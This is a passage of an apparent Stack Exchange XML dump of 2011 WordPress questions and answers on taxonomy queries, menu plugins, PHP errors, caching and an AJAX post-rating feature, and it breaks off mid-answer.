  <row Id="26773" PostTypeId="2" ParentId="26770" CreationDate="2011-08-24T16:43:34.520" Score="0" ViewCount="" Body="&lt;p&gt;is used the operator 'IN' and it works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'taxonomy' =&gt; 'collections',&#xA;'terms' =&gt; array( 28 ),&#xA;'field' =&gt; 'id',&#xA;'operator' =&gt; 'IN'&lt;/p&gt;&#xA;" OwnerUserId="8148" LastActivityDate="2011-08-24T16:43:34.520" />
  <row Id="26774" PostTypeId="1" AcceptedAnswerId="26778" CreationDate="2011-08-24T16:50:13.040" Score="0" ViewCount="19" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/jquery-drill-down-ipod-menu&quot; rel=&quot;nofollow&quot;&gt;Drill Down Ipod Menu&lt;/a&gt; and I'm really like the style of showing submenus , but I have two problems with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-when i load a page it shows all submenus open for a second and I experience a Flash of Unstyled Content , it was good for a while when I changed style css but it backed again (i don't know if there's a relation between css file and the problem). my list of active plugins is below (I had some others that i deleted them):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-Bulk Post Creator Plus&#xA;2-Cat + Tag Filter&#xA;3-Category Grid View Gallery&#xA;4-cforms&#xA;5-Custom Field Template&#xA;6-ShowID for Post/Page/Category/Tag/Comment&#xA;7-SwfObj&#xA;8-vSlider&#xA;9-wp-jalali&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I prevent showing my menu unstyled ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- when I navigate from a submenu to my homepage (from a link outside of menu) menu stay in previous state , i know it use cookies , but is there anyway to show current page instead of using cookies ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it's impossible to solve this problems what plugin can I use instead to have folding menus from wordpress custom menus (not pages and categories ) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry for my bad english&#xA;thanks in advancce&lt;/p&gt;&#xA;" OwnerUserId="7585" LastActivityDate="2011-08-25T20:52:36.103" Title="jQuery Drill Down iPod Menu FOUC and Selecting Current page" Tags="&lt;jquery&gt;&lt;custom-menus&gt;&lt;styles&gt;" AnswerCount="2" />
  <row Id="26775" PostTypeId="2" ParentId="26770" CreationDate="2011-08-24T16:53:46.733" Score="0" ViewCount="" Body="&lt;p&gt;just came across this the other day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = 'music';&#xA;$oterm = 'pop';&#xA;$term = get_term_by('slug', $oterm, $tax);&#xA;$termChildren = get_term_children($term-&amp;gt;term_id, $tax);&#xA;$wp_query = new WP_Query();&#xA;$wp_query-&amp;gt;query(&#xA;    array(&#xA;        'posts_per_page' =&amp;gt; '5',&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; $tax,&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; $oterm&#xA;            ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; $tax,&#xA;                'field' =&amp;gt; 'id',&#xA;                'terms' =&amp;gt; $termChildren,&#xA;                'operator' =&amp;gt; 'NOT IN'&#xA;            )&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source:&#xA;&lt;a href=&quot;http://return-true.com/2011/08/wordpress-display-posts-from-a-term-without-displaying-posts-from-child-terms/&quot; rel=&quot;nofollow&quot;&gt;http://return-true.com/2011/08/wordpress-display-posts-from-a-term-without-displaying-posts-from-child-terms/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-24T16:53:46.733" />
  <row Id="26776" PostTypeId="2" ParentId="26758" CreationDate="2011-08-24T17:09:31.737" Score="0" ViewCount="" Body="&lt;p&gt;Try setting 'hierarchical' to true if its not already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From source documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;hierarchical - Whether to include terms that have non-empty descendants&lt;/li&gt;&#xA;  &lt;li&gt;(even if 'hide_empty' is set to true).&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think its usually set to trie by default, so I'm thinking you might have intentionally set it to fale for your purposes.&lt;/p&gt;&#xA;" OwnerUserId="51" LastActivityDate="2011-08-24T17:09:31.737" CommentCount="1" />
  <row Id="26777" PostTypeId="1" CreationDate="2011-08-24T13:29:16.353" Score="0" ViewCount="21" Body="&lt;p&gt;I'm developing a website in wordpress and some days ago a strange string (opinion sidebar) started to appear in every page, in every view, even in the administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in every file of my theme (is obvious a theme problem) but I can't find the weird string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows about some function, template or file suspicious? I'm refering to some file/function or whatever whose function is to &quot;show the html&quot; in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help&lt;img src=&quot;http://i.stack.imgur.com/CdTL7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3251" LastActivityDate="2011-08-24T17:24:54.430" Title="Where I could look for a strange string that appear in every &quot;view&quot; in wordpress" Tags="&lt;untagged&gt;" CommentCount="3" />
  <row Id="26778" PostTypeId="2" ParentId="26774" CreationDate="2011-08-24T17:34:29.537" Score="0" ViewCount="" Body="&lt;p&gt;Your best bet would be to consult the author of plugin since it's using a custom jQuery plugin script.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I prevent showing my menu un styled?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can add a class of &lt;code&gt;no-display&lt;/code&gt; to the elements of the menu that are un styled as the page loads then in css set &lt;code&gt;.no-display {display:none;}&lt;/code&gt;Then use jQuery to remove the `no-display' class when the page is loaded right before it calls the plugin javascript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('#parent-div').removeClass(&quot;no-display&quot;);&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-24T17:34:29.537" />
  <row Id="26779" PostTypeId="1" CreationDate="2011-08-24T17:35:01.840" Score="0" ViewCount="9" Body="&lt;p&gt;Currently i have 2 parent categories, 'photos' and 'words'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When visiting either category page, is it possible to filter the tagcloud to show only tags related to current category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2323" LastActivityDate="2011-08-24T17:35:01.840" Title="Is it possible to filter 'tag cloud widget' to tags of currently selected category" Tags="&lt;categories&gt;&lt;filters&gt;&lt;tags&gt;" />
  <row Id="26780" PostTypeId="2" ParentId="26555" CreationDate="2011-08-24T17:39:41.557" Score="0" ViewCount="" Body="&lt;p&gt;thanks for the lengthy reply. The thing is, im not making a plugin here, im just trying to interact with one.&#xA;its a shop plugin [theCartPress], and i made my own design all around it, and made a shop.php page for a custom post type of that kind [tcp_product].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i do get all posts of that post type rerouted to the right file, but i also want to be able to display them by brand. i have some _GET in it so i can do ?brand=mybrand, but i want to use the wordpress permalinks.  i actually do have a custom taxonomy for it. That's what i use after my GET:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (($_GET['brand'] == 'owl') || !isset($_GET['brand'])) {&#xA;    $brand = 'owl';&#xA;  } else {&#xA;    $brand = $_GET['brand'];&#xA;  }&#xA;  $args = array( 'post_type' =&amp;gt; 'tcp_product', 'posts_per_page' =&amp;gt; 30, 'tax_query' =&amp;gt; array(&#xA;    array('taxonomy' =&amp;gt; 'tcp_product_supplier', 'field' =&amp;gt; 'slug', 'terms' =&amp;gt; $brand)));&#xA;&#xA;$loop = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sorry to mods for using the answer post, but the comment reformatting is impossible..&lt;/p&gt;&#xA;" OwnerUserId="8099" LastActivityDate="2011-08-24T17:39:41.557" CommentCount="1" />
  <row Id="26781" PostTypeId="2" ParentId="26750" CreationDate="2011-08-24T17:48:33.990" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure of a way to do it through admin but it would be easy to accomplish with svn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a copy or move wp-content and wp-config.php to a temp directory then delete all the WordPress files and check out the 2.8 branch, move wp-content and config back, then run the update script.&lt;/p&gt;&#xA;&#xA;   &lt;pre class=&quot;lang-bsh prettyprint-override&quot;&gt;&lt;code&gt;mv wordpress/wp-content /tmp/wp-content&#xA;mv wordpress/wp-config.php /tmp/wp-config.php&#xA;rm -rf wordpress&#xA;mkdir wordpress&#xA;cd wordpress&#xA;svn co http://core.svn.wordpress.org/tags/2.7.x/ .&#xA;mv /tmp/wp-content/* wordpress/wp-content/&#xA;mv /tmp/wp-config.php wordpress/wp-config.php&#xA;&#xA;//Run upgrade script:  http://yoursite/wordpress/wp-admin/upgrade.php&#xA;&#xA;//Check out the next version&#xA;cd wordpress&#xA;svn sw http://core.svn.wordpress.org/tags/2.8.x .&#xA;&#xA;//Run upgrade script&#xA;&#xA;//Rinse and repeat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-24T17:48:33.990" CommentCount="1" />
  <row Id="26782" PostTypeId="2" ParentId="26115" CreationDate="2011-08-24T17:52:15.343" Score="1" ViewCount="" Body="&lt;p&gt;You can exclude menus by testing the post id :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_title', 'add_cpt_prefix' );&#xA;&#xA;function add_cpt_prefix( $title ) {&#xA;    global $id, $post;&#xA;    if ( $id &amp;amp;&amp;amp; $post &amp;amp;&amp;amp; $post-&amp;gt;post_type == 'press' ) {&#xA;        $title = '&amp;lt;span&amp;gt;Press:&amp;lt;/span&amp;gt; ' . $title;&#xA;    }&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8151" LastActivityDate="2011-08-24T17:52:15.343" />
  <row Id="26783" PostTypeId="1" AcceptedAnswerId="26800" CreationDate="2011-08-24T17:54:59.817" Score="1" ViewCount="33" Body="&lt;p&gt;When a New User to register on my site ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like that in your login, the first letter always be capitalized. ( uppercase letter )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forcibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how to do this?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-24T19:21:33.497" Title="By registering always make uppercase the first letter of the login" Tags="&lt;login&gt;&lt;registration&gt;" AnswerCount="1" />
  <row Id="26784" PostTypeId="1" CreationDate="2011-08-24T17:57:20.980" Score="0" ViewCount="37" Body="&lt;p&gt;I want to be able to add a &lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt; around every image that gets posted.  How will I be able to do this?&lt;/p&gt;&#xA;" OwnerUserId="7117" LastActivityDate="2011-08-25T12:37:04.287" Title="Add a span tag around image" Tags="&lt;images&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26785" PostTypeId="2" ParentId="16800" CreationDate="2011-08-24T17:58:49.473" Score="0" ViewCount="" Body="&lt;p&gt;Simply add this style to your nggallery.css file to display only the first image in the gallery. When you click the thumbnail, the lightbox effect will display all of the images. No PHP code needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* For NextGen Gallery. Displays thumbnails on a page, and when you click each thumbnail opens it's own gallery. Normally when you insert a gallery, it displays all the thumbnails in the gallery. This hack will hide all the thumbnails except the first one. Make sure you don't display [show slideshow], because that will be the first child. */&#xA;&#xA;div.ngg-gallery-thumbnail-box { display:none; }&#xA;div.ngg-galleryoverview div:first-child { display:block; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8152" LastActivityDate="2011-08-24T17:58:49.473" />
  <row Id="26786" PostTypeId="1" CreationDate="2011-08-24T18:06:03.590" Score="0" ViewCount="35" Body="&lt;p&gt;I have a custom post type &quot;vendor&quot; - and I want to people to drill down via custom taxonomies to see posts. I have two custom taxonomies - one for &quot;service&quot; and one for &quot;location&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in a custom template I am listing all the available services... when one is clicked I load in another display that lists all locations (and I pass along the service ID in the URL query string)... when a location is clicked... (I pass the service ID and Location ID again in the query string) and I load in a list of vendors that are categorized with both that service AND location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm running into is that there is the possibility that on that location list - it will include a location for which no posts have the previously selected service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically - when I get that list of locations, I need a list of locations that have posts that ALSO have been categorized with a particular service so I don't end up with an empty list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: let's say I select the service &quot;photography&quot; - and then from my list of locations I select &quot;Boston&quot; - but I don't have any photographers in Boston... since that's the case... I don't want &quot;Boston&quot; showing up in that list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While my list of services is a simple &quot;get_terms&quot; call... I think I need a custom select query ($wpdb-&gt;get_results) to grab that list of locations, but I'm just not sure what the query needs to be...&lt;/p&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2011-08-25T23:22:56.797" Title="Custom select query for taxonomies that have posts categorized in another taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="1" />
  <row Id="26787" PostTypeId="1" AcceptedAnswerId="26795" CreationDate="2011-08-24T18:06:31.387" Score="0" ViewCount="23" Body="&lt;p&gt;I currently am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: explode() expects parameter 2 to be string, object given in D:\...\portfolio.php on line 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my portofolio.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $current = get_the_category(); &#xA;    $current_id= $current[0] -&amp;gt;cat_ID; &#xA;    $categs_list = get_category_parents($current_id);&#xA;    $pieces = explode(&quot;/&quot;, $categs_list);  //this is line 12.&#xA;    $category_name = strtolower($pieces[0]);&#xA;    $categs = get_cat_id($category_name);&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Ideas? PHP is not my forte. &lt;/p&gt;&#xA;" OwnerUserId="7893" LastActivityDate="2011-08-24T18:48:21.617" Title="Explode() expects a string" Tags="&lt;categories&gt;&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26789" PostTypeId="1" AcceptedAnswerId="26801" CreationDate="2011-08-24T18:19:48.357" Score="0" ViewCount="37" Body="&lt;p&gt;I'm writing new theme for my blog. And I want to make some kind of post rating using custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two fields: 'good-post' and 'bad-post'. And after each post I placed two buttons. Yep, 'Good post' and 'Bad post'. On buttons I placed onclick event that calls this AJAX function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajaxIncGoodPost(tempUrl)  {&#xA;    var postID = $(&quot;good-post&quot;).attr(&quot;rel&quot;);&#xA;&#xA;    jQuery.ajax({&#xA;    type: &quot;POST&quot;,&#xA;    url : tempUrl+&quot;/rating.php&quot;,&#xA;    data: &quot;opinion=good&amp;amp;postID=&quot;+postID,&#xA;    success: function(msg){&#xA;    alert( &quot;Спасибо за вашу хорошую оценку!&quot; );&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It calls this function in &lt;code&gt;rating.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postID = $_REQUEST['postID']; &#xA;&#xA;if ( $_REQUEST['opinion'] == 'good' ) {&#xA;    $good_post = get_post_meta($postID, 'good-post');&#xA;&#xA;    function inc_good_post() {&#xA;        $good_post++;&#xA;        update_post_meta($postID, 'good-post', $good_post); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So every click on this button calls function that increments &lt;code&gt;'good-post'&lt;/code&gt; value and stores it in the field. But here comes the problem. After click on the button success messege of AJAX function pops up, but value of custom field doesn't changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this happens because there is no such fields in my old posts, but according to Wordpress Codex &lt;code&gt;upadate_post_meta()&lt;/code&gt; checks if such field exists and if not calls &lt;code&gt;add_post_meta()&lt;/code&gt; which creates field. But this doesn't heepen either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I can't find any mistake. If you have any guesses about this problem please share it!&lt;/p&gt;&#xA;" OwnerUserId="8153" LastActivityDate="2011-08-24T19:26:21.927" Title="Post rating using Custom Field" Tags="&lt;custom-field&gt;&lt;rating&gt;" AnswerCount="2" />
  <row Id="26790" PostTypeId="2" ParentId="26007" CreationDate="2011-08-24T18:31:44.857" Score="0" ViewCount="" Body="&lt;p&gt;Just figured it out. The post type had a custom taxonomy so had to replace category_name with slides_categories&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2011-08-24T18:31:44.857" />
  <row Id="26791" PostTypeId="1" CreationDate="2011-08-24T18:33:28.633" Score="0" ViewCount="25" Body="&lt;p&gt;Does anyone know why nextgen gallery doesn't support thumbnails with png transparency???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on this project &lt;a href=&quot;http://decolabel.andresmijares.com/smaakvolle-etiketten/&quot; rel=&quot;nofollow&quot;&gt;http://decolabel.andresmijares.com/smaakvolle-etiketten/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as you can see the slideshow work the image properly, however the thumbnails have a black background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciated any kind of help :)! &lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-08-25T11:41:43.943" Title="next gen gallery thumbnail problem" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="26793" PostTypeId="2" ParentId="26789" CreationDate="2011-08-24T18:34:45.303" Score="0" ViewCount="" Body="&lt;p&gt;My best guess at this without seeing more code and seeing that you are routing your AJAX request to a separate PHP file is that your &quot;rating.php&quot; is not loaded in the WordPress environment, meaning that functions like &lt;code&gt;get_post_meta&lt;/code&gt; and &lt;code&gt;update_post_meta&lt;/code&gt; are not available to you at the time you try to use them. WordPress implements an excellent system for making AJAX calls within the WordPress environment. Take a look at this article as a start: &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-24T18:34:45.303" />
  <row Id="26794" PostTypeId="1" AcceptedAnswerId="26797" CreationDate="2011-08-24T18:44:39.873" Score="1" ViewCount="34" Body="&lt;p&gt;I have both regular blog posts and a custom post type in a blog. The page template shows the author posts link. If you click on that link for an author that has authored some posts, that page (blog/authors/mr-author) shows the expected bio information and a list of the author's posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you create a user that is an author, but who has only authored the custom post type, and no regular posts, the link generated by the_author_posts_link() (which is still the correct link: blog/authors/mr-author) shows an unpopulated page (ie: the fields are all empty, and the posts listing is the full list of all posts for all authors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, we're not getting the right data inside the $authordata global. But why? &lt;code&gt;author.php&lt;/code&gt; is using standard template tags like &lt;code&gt;get_the_author_meta('display_name')&lt;/code&gt; to display author information, but this is all showing blank results for an author that has no posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently digging through core to figure out where and when $authordata gets populated to see if it's linked to a specific post type being present, but so far have yielded nothing useful. Anyone run into this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: SOLUTION BASED ON CHIP'S ANSWER&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'hdb_add_custom_type_to_query');&#xA;&#xA;function hdb_add_custom_type_to_query( $notused ){&#xA;     if (! is_admin() ){&#xA;        global $wp_query;&#xA;        if ( is_author() || is_home() ){&#xA;            $wp_query-&amp;gt;set( 'post_type',  array( 'post', CUSTOM_TYPE ) );&#xA;        }&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assumes you've defined CUSTOM_TYPE constant at some point, probably when you declare the custom post type.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-08-25T13:37:20.177" LastActivityDate="2011-08-25T13:37:20.177" Title="the_author_posts_link() for authors of custom post types" Tags="&lt;custom-post-types&gt;&lt;author&gt;" AnswerCount="4" />
  <row Id="26795" PostTypeId="2" ParentId="26787" CreationDate="2011-08-24T18:48:21.617" Score="1" ViewCount="" Body="&lt;p&gt;Let's start from the top:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$current = get_the_category();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns an &lt;strong&gt;array of objects&lt;/strong&gt;, one object for each category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$current_id= $current[0] -&amp;gt;cat_ID;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns an &lt;strong&gt;object&lt;/strong&gt;, the first object in the previous array&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$categs_list = get_category_parents($current_id);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns a &lt;strong&gt;string&lt;/strong&gt;, but &lt;em&gt;only if the current category has parents&lt;/em&gt;; otherwise, it returns whatever was passed to it: which was an &lt;strong&gt;object&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See where the problem is yet?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$pieces = explode(&quot;/&quot;, $categs_list);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This expects a &lt;strong&gt;string&lt;/strong&gt;, but is returning an error, because it is being provided an &lt;strong&gt;object&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, Conclusion:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are calling this code in a Post that is in a category that &lt;strong&gt;doesn't have any parents&lt;/strong&gt;. You need to write some fallback code to account for this occurrence.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-24T18:48:21.617" CommentCount="1" />
  <row Id="26796" PostTypeId="1" AcceptedAnswerId="26804" CreationDate="2011-08-24T18:56:47.623" Score="2" ViewCount="30" Body="&lt;p&gt;I was hoping someone could clear the air for me when it comes to using transients with memcached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running a plugin like w3-total-cache, are there any actual performance advantages to using transients to store large post queries? If we are running memcached, the queries will already be cached by memcached correct? What then, if any, is the advantage to using these two methods in tandem?&lt;/p&gt;&#xA;" OwnerUserId="3686" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-24T20:06:32.793" LastActivityDate="2011-08-24T20:06:32.793" Title="Using transients in conjunction with memcached" Tags="&lt;database&gt;&lt;transient&gt;&lt;caching&gt;&lt;global-groups&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26797" PostTypeId="2" ParentId="26794" CreationDate="2011-08-24T19:01:58.983" Score="1" ViewCount="" Body="&lt;p&gt;I believe the issue is that the default query only queries for &lt;code&gt;post&lt;/code&gt; post-type. (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11210/including-post-type-wiki-in-author-archives&quot;&gt;See related WPSE question here.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you probably need to modify the query in your &lt;code&gt;author.php&lt;/code&gt; template file, so that all relevant post-types are included in the query.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-24T19:01:58.983" CommentCount="1" />
  <row Id="26798" PostTypeId="2" ParentId="26794" CreationDate="2011-08-24T19:05:31.867" Score="0" ViewCount="" Body="&lt;p&gt;If any user has not any post, it shows 404 by default. You can get the user_id of that user from &lt;code&gt;$author&lt;/code&gt; variable. Then you can populate the users post and other type of things as you wanted. &lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-24T19:05:31.867" />
  <row Id="26799" PostTypeId="2" ParentId="26796" CreationDate="2011-08-24T19:07:49.167" Score="0" ViewCount="" Body="&lt;p&gt;W3TC does diffenet things, among which are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;caching database queries;&lt;/li&gt;&#xA;&lt;li&gt;implementing object cache (which transients use).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are two entirely separate processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching individual database queries with transients doesn't make much sense with or without memcached and W3TC involved. Transients are best used for fragment caching final ersult of operation (like chunk of HTML code), not intermediary steps.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-24T19:07:49.167" />
  <row Id="26800" PostTypeId="2" ParentId="26783" CreationDate="2011-08-24T19:21:33.497" Score="0" ViewCount="" Body="&lt;p&gt;You can possibly add a filter to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/sanitize_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sanitize_user&lt;/code&gt;&lt;/a&gt; and return &lt;code&gt;ucfirst($username);&lt;/code&gt;, I haven't tried it though to verify if it will work.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T19:21:33.497" CommentCount="2" />
  <row Id="26801" PostTypeId="2" ParentId="26789" CreationDate="2011-08-24T19:26:21.927" Score="0" ViewCount="" Body="&lt;p&gt;First off, you should consider using using the building WordPress functionality rather than linking straight to a PHP file.  Anyone could game that very easily and artificially vote up posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the wordpress ajax functionality, send your ajax request to yoursite.com/wp-admin/admin-ajax.php, and use standard plugin hooks system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tollmanz's response is right on: your update post meta and get post meat calls aren't working because the WordPress environment is not loaded in rating.php.  Another reason to use admin-ajax.php to handled your response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'wp_ajax_nopriv_wpse26789_action', 'wpse26789_ajax_cb' );&#xA;add_action( 'wp_ajax_wpse26789_action', 'wpse26789_ajax_cb' );&#xA;function wpse26789_ajax_cb()&#xA;{&#xA;    // Verify the nonce to make sure the request came from an actual page...&#xA;    if( !isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'wpse26789_nonce' ) ) die( '-1' );&#xA;&#xA;    $post_id = isset( $_REQUEST['post_id'] ) ? absint( $_REQUEST['post_id'] ) : 0;&#xA;&#xA;    if( ! $post_id ) die( '-1' );&#xA;&#xA;    $counter = get_post_meta( $post_id, 'good_post', true );&#xA;    $counter = absint( $counter );&#xA;&#xA;    if( $counter )&#xA;    {&#xA;        $counter++;&#xA;    }&#xA;    else&#xA;    {&#xA;        $counter = 1;&#xA;    }&#xA;&#xA;    update_post_meta( $post_id, 'good_post', $counter );&#xA;    echo $counter;&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your front end could would have to change a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a function you could drop inside the loop on your single.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function wpse26789_good_bad()&#xA;{&#xA;    global $post;&#xA;    $count = get_post_meta( $post-&amp;gt;ID, 'good_post', true );&#xA;    ?&amp;gt;&#xA;    &amp;lt;p id=&quot;wpse26789_click&quot;&amp;gt;Click Here to Vote this Post up&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;This post has &amp;lt;span id=&quot;wpse26789_count&quot;&amp;gt;&amp;lt;?php echo strip_tags( $count ); ?&amp;gt;&amp;lt;/span&amp;gt; votes&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Eg. somewhere in single.php insert &lt;code&gt;wpse26789_good_bad()&lt;/code&gt; or insert the code from the function into single.php (except for the &lt;code&gt;global $post&lt;/code&gt;) anywhere inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll need to change up your javascript a bit.  I've just hooked into wp_head here to add the javascript to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of any singular 